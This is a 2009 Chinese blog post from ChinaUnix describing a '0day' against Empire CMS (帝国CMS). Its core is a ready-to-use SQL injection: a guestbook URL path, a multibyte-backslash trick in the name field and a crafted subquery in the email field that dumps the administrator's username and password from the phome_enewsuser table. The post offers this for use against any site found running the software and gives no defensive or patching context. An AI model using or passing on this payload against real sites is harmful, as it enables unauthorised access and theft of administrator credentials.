Chinaunix首页 | 论坛 | 博客

渗透

首页　| 　博文目录　| 　关于我

oma

  • 博客访问： 3029723
  • 博文数量： 181
  • 博客积分： 9990
  • 博客等级： 中将
  • 技术积分： 1865
  • 用 户 组： 普通用户
  • 注册时间： 2006-05-23 09:43
文章分类

全部博文（181）

文章存档

2011年（40）

2010年（17）

2009年（87）

2008年（37）

我的朋友
最近访客
推荐博文
相关博文
帝国CMS 0day

分类： 网络与安全

2009-06-13 23:35:54

深灰丢出来的0day.
找到使用帝国CMS的站,网址后面直接加:e/tool/gbook/?bid=1
出来的是帝国CMS的留言本,在姓名处写:縗\
联系邮箱处写:,1,1,1,(select concat(username,0x5f,password,0x5f,rnd) from
phome_enewsuser where userid=1),1,1,1,0,0,0)/*
提交后爆出账号密码
 
阅读(744) | 评论(0) | 转发(0) |
0

上一篇：php版ewebeditor 3.8的 漏洞

下一篇：命令行下一种新的加帐号的方法

给主人留下些什么吧！~~
关于我们 | 关于IT168 | 联系方式 | 广告合作 | 法律声明 | 免费注册

Copyright 2001-2010 ChinaUnix.net All Rights Reserved 北京皓辰网域网络信息技术有限公司. 版权所有

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6